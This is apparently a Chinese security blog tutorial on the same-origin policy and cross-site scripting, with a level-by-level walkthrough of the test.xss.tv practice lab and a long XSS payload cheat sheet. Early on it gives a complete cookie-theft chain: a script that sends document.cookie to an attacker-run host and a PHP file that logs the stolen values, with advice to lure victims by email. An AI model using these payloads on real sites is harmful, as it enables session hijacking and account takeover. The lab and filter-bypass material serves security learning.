同源策略

同源策略(Same origin policy)是一种约定,它是最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。

影响源的因素:host(域名或IP,如果时IP地址则看做一个根域名),子域名,端口,协议。

下表给出了相对http://a.xyz.com/dir/page.html同源检测的示例:

URL 结果 原因
http://a.xyz.com/dir2/other.html 成功
http://a.xyz.com/dir/inner/another.html 成功
https://a.xyz.com/secure.html 失败 不同协议 ( https和http )
http://a.xyz.com:81/dir/etc.html 失败 不同端口 ( 81和80)
http://a.opq.com/dir/other.html 失败 不同域名 ( xyz和opq)

需要注意的是,对当前页面来说,文件放在哪里并不重要,重要的是谁打开了这个文件,谁使用了这个文件,对于文件来说,谁使用了它,谁就是它的源。

浏览器中,那些带有src属性的标签如:<img><iframe>等,都能够跨域加载资源,实际上就是由浏览器发起一次GET请求。它们和页面中的链接不受同源策略的限制。而XMLHttpRequest
受同源策略限制,他只可以访问来自同源的文件。

xss

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

XSS 大致分成三种类型):

反射型
存储型
DOM 型   如果用是否会存储在服务器上区分的话,DOM型也是反射型。

原本应该是输入数据的地方,但是却变成成功运行的代码。就是xss

常用的盗取cookies

hacker可以它写了这样一个文件 a.com/test.js

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
img.style.display='none';
document.body.appendChild(img);

而对应www.a.com/index.php的代码是这样,目的是记录发送过来的cookies

<?php
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>

然后再在输出框中输入 <script src="http://www.a.com/test.js"></script>
就会直接将你的 cookies 直接发送到 a.com
这样就不知不觉的有了你的 cookies 就为所欲为了,改密码什么的。 现在只需诱导用户(发邮件之类的)点击链接就Ok了

也可利用ceye来打到cooikes
这里需要注意的是:可以执行xss的网站必须和你打cookie的地方是能够连通的。(src实际上就是由浏览器发起一次GET请求,必须让可以执行xss的网站能够访问到你打cookie的地方)。

xss绕过过滤的方式

学习测试平台:(http://test.xss.tv/)

第一关:
正常的xss,没有任何过滤。

payload:<script>alert(1);</script>

第二关:
通过查看源码,发现源码的<`>被转为实体了。 ![e1Cipd.png](https://s2.ax1x.com/2019/07/28/e1Cipd.png) 但是我们发现:input的value值里的<>`没有被转为实体。这里我们就可以传入”>来闭合前面的input输入框。所以构造payload。

payload:"><script>alert('xss')</script><a id="

第三关:
查看源码发现:我们输入的<>都被转为实体了,我们需要换个思路,我们可以通过事件来执行我们的js代码。

payload: ' onclick='alert("1");

第四关:
查看源码发现:value里的<>,被替换成空了,上面的<>被转为实体了,和上关方法一样。

payload: " onclick="alert('1');

第五关:
过滤如图:
e1EBge.png
on被替换成o_n,所以上述方法行不通了。
可以通过a标签的href属性构造payload。

payload:"><a href='javascript:alert(1);'><a"

第六关:
第六关过滤了href,但是可以通过大小写绕过。

payload:"><a hRef='javascript:alert(1);'><a"

第七关:

我们可以发现传入onclick时,on被替换成空了,这时我们可以尝试双写绕过。

payload: " oonnclick="alert(1);

第八关:
这里过滤了script,href等,不能通过双写,大小写绕过。这里我们需要用到编码绕过。原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,XSS转码则是针对属性所赋的值。

#coding=utf-8
import re

s='javascript:alert(1);'
flag_10=''
flag_16=''
for x in xrange(0,len(s)):
    flag_10+='&#'+str(ord(s[x:x+1])) #10进制
    flag_16+='&#x'+s[x:x+1].encode('hex') #16进制
print flag_10 # &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41&#59
print flag_16 # &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29&#x3b
payload: &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41&#59 或
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29&#x3b

第九关:
经过测试发现:填入的链接必须带有http://,所以,我们构造payload。

payload: &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#34http://&#34&#41&#59

第十关:
经过测试上面的方法,发现都被转化为实体,编码也并不能绕过。
仔细观察页面源代码发现有三个隐藏输入框:
e3fI00.png
我们经过测试发现:只有t_sort可以传入数据,但是这里把<>替换成空了,这里我们可以用onclick事件来执行js代码。但是这里有type是hidden,这里我们可以把hidden删了,然后点击输入框就触发了onclick事件。还有onchange事件等。

payload: http://test.xss.tv/level10.php?keyword=1&t_sort=%22%20onclick=%22alert(1);

第十一关:
我们查看源代码发现,多了个输入框,并且发现t_sort的双引号被转为实体了。
e3Tiy4.png
所以我们只能考虑下面的隐藏输入框了。
我发现从10关进入第11关时,存在t_ref值:
e37YDJ.png
我们抓取从十关到第十一关的包发现,请求头存在Referer字段。这里的值对应了t_ref输入框的value值:
e3HUsg.png
我们修改referer的值就能构造payload。

payload:Referer:  " onclick="alert(1);

第十二关:
我们查看源代码发现t_ua有value值:
e3bCSf.png
我们抓包构造User-Agent就可以产生xss。

payload: User-Agent: " onclick="alert(1);

第十三关:
我们抓包发现:cooike值和t_cook的value值一样:
e3qF9x.png
e3qyKU.png

所以我们构造cooike即可。

payload: Cookie: user=" onclick="alert(1);

第十四关:
因为环境问题,无法进行测试。所以不能测试,详情参考:
https://shuimugan.com/bug/view?bug_no=194934
https://blog.csdn.net/weixin_44677409/article/details/91345651#LEVEL14_166

该问题源自一些浏览器查看图片 Exif 信息的插件,如果图片里面含有 XSS 代码,这些插件在展现信息渲染的时候就会被执行,导致在本不存在漏洞的网页中“制造”出 XSS 漏洞。

第十五关:
这里用到了AngularJS框架。
发现ng-include有包含文件的意思,也就相当于php里面的include
这里我们可以包含第一关来构造我们这关的payload。

payload: http://test.xss.tv/level15.php?src=%27.%2flevel1.php%3Fname%3D%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E%27

第十六关:

这关过滤了script,空格,把他们替换成&nbsp;这里我们可以用%0a或%0d来替换空格。

payload: <img%0Donerror="alert(1);"%0Asrc=1/>

第十七和十八关:
这里没看懂。emmm正常的方法。
猜测用的是这种方法过滤的
e8PFPS.png

payload: http://test.xss.tv/level17.php?arg01=a&arg02=%20onclick=alert(1);
        http://test.xss.tv/level17.php?arg01=%20onclick=alert(1)&arg02=b

第十九关:
Flash的xss

payload: http://test.xss.tv/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(1)%22%3Ealex%3C/a%3E

第二十关:
flash的xss
参考链接:https://www.freebuf.com/sectool/108568.html和https://www.cnblogs.com/kenkofox/p/3405395.html

payload: http://test.xss.tv/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

由于对flash不太了解,这里就不多说什么了,可以看看大神们的讲解。

利用代码

<img src=1 onerror="alert(1);">
<script>alert(1);</script>
<body onload="alert('xss')"></body>
<p onclick="alert('1')">&nbsp;</p>
<input onfocus="alert('1')" autofocus/>

1.不使用 " 
 <input onfocus=alert('1') autofocus/>

2.不使用 '  
<input onfocus="alert(/1/)" autofocus/>

3.不使用 ( )  

<input onfocus="alert`'1'`" autofocus/>

4.不使用 ' " ( )

 <input onfocus=alert`1` autofocus/>

5.使用html实体编码绕过

 <input onfocus="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;" autofocus/>

6.使用html实体编码绕过变形 

<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>



1.在iframe标签中加载一个脚本页面

<iframe src="./alert.html"></iframe>

2.在script标签中加载一个脚本

 <script src="./alert.js"></script>

在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本

Example:

1.在iframe标签中使用Data URI scheme直接嵌入文本

 <iframe src="data:text/html,<script>alert('1')</script>"></iframe>

2.在script标签中使用Data URI scheme直接嵌入文本 

<script src="data:text/html,alert('1')"></script>

使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式

Example:

1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本

<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>

在该类型的变形中还可以结合第一类的变形使用

Example:

1.使用html实体编码URI 

<script src="&#46;&#47;&#97;&#108;&#101;&#114;&#116;&#46;&#106;&#115;"></script>

2.使用html实体编码Data URI scheme

 <script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#44;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;"></script>

3.使用html实体编码BASE64编码之后的Data URI scheme

 <script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#59;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#89;&#87;&#120;&#108;&#99;&#110;&#81;&#111;&#74;&#122;&#69;&#110;&#75;&#81;&#61;&#61;"></script>

-------------------------------------------------
常用的xss


<table background='javascript.:alert(([code])'></table>

<object type=text/html data='javascript.:alert(([code]);'></object>

"+alert('XSS')+"

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

<s&#99;ript>alert('XSS')</script>

<img src="javas&#99;ript:alert('XSS')">

%0a%0a<script>alert(\"Vulnerable\")</script>.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

<script>alert('Vulnerable')</script>

a.jsp/<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

<IMG SRC="javascript.:alert('XSS');">

<IMG src="/javascript.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>

<IMG SRC="jav&#x09;ascript.:alert('XSS');">

<IMG SRC="jav&#x0A;ascript.:alert('XSS');">

<IMG SRC="jav&#x0D;ascript.:alert('XSS');">

"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out

<IMG SRC=" javascript.:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript.:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript.:alert('XSS')">

<IMG LOWSRC="javascript.:alert('XSS')">

<BGSOUND SRC="javascript.:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

<IMG SRC='vbscript.:msgbox("XSS")'>

<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript.:alert('XSS')">

<DIV STYLE="background-image: url(javascript.:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>


--------------------------------------------------

在url中的xss
可以通过加#来进行利用(http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后,会自动将print位置滚动至可视区域。)
或者&(后端变成切换参数,但在前端就是字符)


  • xss payload

    转换脚本#coding=utf-8 import re s='javascript:alert(1);' flag_10='' flag_16='' flag_url='' for x in xrange(0,len(s)): ...

    xss payload
  • 浏览器解释机制和svg xss

    前言最近,再看看xss,发现对xss并不是太了解,学习xss需要了解到浏览器的解释机制。我是看Tuuu Nya师傅文章里推荐的文章(深入理解浏览器解释机制和xss向量编码)。我自己总结一下吧。 浏览器解析机制浏览器解析一篇HTML文档...

    浏览器解释机制和svg xss
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • RCE提高篇

    前言首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。浅谈eval和assert从底层分析eval和assert的区别命令执行与代码执行的小结巧用命令注入的N种方式命令注入绕过姿势我就不在说这几个东西,大牛们都说的很...

    RCE提高篇
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)